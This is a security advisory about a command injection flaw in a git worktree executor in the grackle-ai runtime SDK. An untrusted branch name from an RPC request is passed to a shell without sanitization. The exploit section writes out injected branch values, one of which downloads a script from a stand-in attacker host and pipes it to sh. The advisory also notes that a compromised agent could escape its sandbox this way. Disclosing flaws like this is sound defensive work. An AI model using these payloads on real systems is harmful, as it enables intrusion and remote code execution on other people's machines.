GHSA-vv65-f55v-xm6g

## Summary The default git executor used for all worktree operations spawns `git` through a shell, and the untrusted task **branch** name flows into the command unsanitized. A caller able to reach the PowerLine `SpawnSession` RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve **arbitrary command execution** as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox. This advisory bundles two related defects in `worktree.ts` (audit findings **F1** and **F13**). ## Affected versions `@grackle-ai/runtime-sdk` (and reachable via `@grackle-ai/powerline`) at version **0.132.1** and earlier. All publishable packages are lockstep-versioned. ## F1 — Command injection via `shell:true` (primary, High) **Location:** `packages/runtime-sdk/src/worktree.ts:22-28` (sink), `:135-143` (branch → args). Source: `packages/powerline/src/grpc-server.ts:112` (`req.branch`), `packages/runtime-sdk/src/base-session.ts:60,137`. `NODE_GIT_EXECUTOR.exec` runs: ```ts const shell = process.env.SHELL || true; // worktree.ts:24 — always truthy const result = await execRaw("git", args, { ...options, shell }); ``` When `shell` is truthy, Node does **not** pass `args` as a safe argv vector — it concatenates `git` + args into a single string run through `sh -c` with **no escaping**. The untrusted `branch` flows unvalidated from the `SpawnSession` gRPC request into: ```ts ["worktree", "add", "-b", branch, wtPath, startPoint] // worktree.ts:135-137 ["worktree", "add", wtPath, branch] // fallback :143 ``` `sanitizeBranch()` (`worktree.ts:50`) is applied **only** to compute the on-disk worktree directory path — *not* to the `-b <branch>` argument — so it provides zero protection at the injection sink. **Exploit:** set a task branch to `x;curl http://attacker/x.sh|sh;#` or `$(touch /tmp/pwned)`. `ensureWorktree` runs it under `sh -c`